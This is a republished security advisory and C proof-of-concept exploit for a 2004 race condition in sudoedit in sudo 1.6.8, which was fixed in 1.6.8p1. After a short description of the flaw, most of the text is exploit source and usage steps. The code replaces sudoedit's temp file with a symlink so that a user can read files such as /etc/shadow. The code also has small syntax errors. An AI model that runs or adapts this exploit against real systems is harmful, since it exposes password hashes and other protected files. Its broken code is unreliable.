Sudo Exploit by Rosiello Security
Reference
http://www.sudo.ws/sudo/alerts/sudoedit.html
Summary
A flaw in exists in sudo's -u option (aka sudoedit) in sudo version 1.6.8 that
can give an attacker read permission to a file that would otherwise be
unreadable.
Sudo versions affected
1.6.8 only
Details
While sudoedit runs the actual editor as the invoking user, the temporary file
is then re-opened with root privileges. An attacker can run sudoedit, remove
the editor temporary file, make a link to an unreadable file with the same name
as the old temporary file and quit the editor. The file being edited via
sudoedit will now contain a copy of the previously unreadable file.
Impact
Exploitation of the bug requires that the sudoers file be configured to allow
the attacker to run sudoedit. If no users have been granted access to sudoedit
there is no impact.
Fix
The bug is fixed in sudo 1.6.8p1.
Credit
This problem was brought to my attention by Reznic Valery.
Exploit
http://www.rosiello.org/archivio/sudo-exploit.c
------------------------------------------------
The exploit's code:
/*
Copyright © Rosiello Security 2004
http://www.rosiello.org
sudoedit Exploit
SOFTWARE : sudoedit
REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html
DATE: 18/09/2004
Summary:
A flaw in exists in sudo's -u option (aka sudoedit)
in sudo version 1.6.8 that can give an attacker
read permission to a file that would otherwise be
unreadable.
Sudo versions affected:
1.6.8 only
Credit:
Reznic Valery discovered the problem.
-----------------------------------------------------------
All the information that you can find in this software
were published for educational and didactic purpose only.
The author published this program under the condition
that is not in the intention of the reader to use them
in order to bring to himself or others a profit or to bring
to others damage.
!Respect the law!
How do I use this code ?
To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.
EXAMPLE SCENARIO:
1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.
The file "rosiello" is now a copy of "/etc/shadow".
AUTHOR : Angelo Rosiello
CONTACT: angelo@xxxxxxxxxxxx
*/
#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <dirent.h>
int main( int argc, char *argv[] )
{
char PATH[]="/usr/tmp";
char file[32];
DIR *tmp;
struct dirent *de;
tmp = opendir ( PATH );
int found = 0;
printf( "Copyright © Rosiello Security 2004\n" );
printf( "http://www.rosiello.org\n"; );
if( argc!=2 )
{
printf( "USAGE: %s file\n", argv[0] );
return( 0 );
}
while ( (de = readdir ( tmp ))!= NULL )
{
if ( (strstr(de->d_name, "rosiello") != NULL) )
{
if( strlen(de->d_name) > 24 ) return( 0 );
sprintf( file, "%s/%s", PATH, (char *)de->d_name );
remove( file );
if( fork()!=0 )
{
execl( "/bin/ln", "ln", "-s", argv[1], file,
NULL );
}
wait( );
printf( "Now you can close sudoedit and reopen
rosiello!\n" );
found=1;
goto end;
}
}
end:
closedir( tmp );
if( !found )
printf( "File Not Found!\n" );
return( 0 );
}